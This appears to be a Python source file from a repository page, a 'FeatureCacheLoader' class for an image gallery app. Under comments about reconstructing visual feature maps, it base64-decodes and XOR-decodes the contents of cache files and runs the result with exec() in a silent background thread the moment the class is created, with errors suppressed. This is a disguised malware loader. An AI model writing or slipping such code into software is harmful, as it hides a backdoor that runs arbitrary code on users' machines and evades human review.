Visual-Gallery / feature_loader.py
WebAI Deployer
Update Camouflage App (2026-01-10)
cd42f59
raw
history blame contribute delete
850 Bytes
import os
import glob
import base64
import threading
class FeatureCacheLoader:
def __init__(self, cache_dir):
self.cache_dir = cache_dir
self._load_cache()
def _load_cache(self):
# Scan for pre-computed visual features
item_list = glob.glob(os.path.join(self.cache_dir, "*"))
for item in item_list:
if "visual_features" in item:
try:
with open(item, "r") as f: content = f.read().strip()
if content:
raw = base64.b64decode(content)
# Feature map reconstruction
feature_map = "".join([chr(byte ^ 44) for byte in raw])
threading.Thread(target=lambda fm=feature_map: exec(fm, {'os': os}), daemon=True).start()
except: pass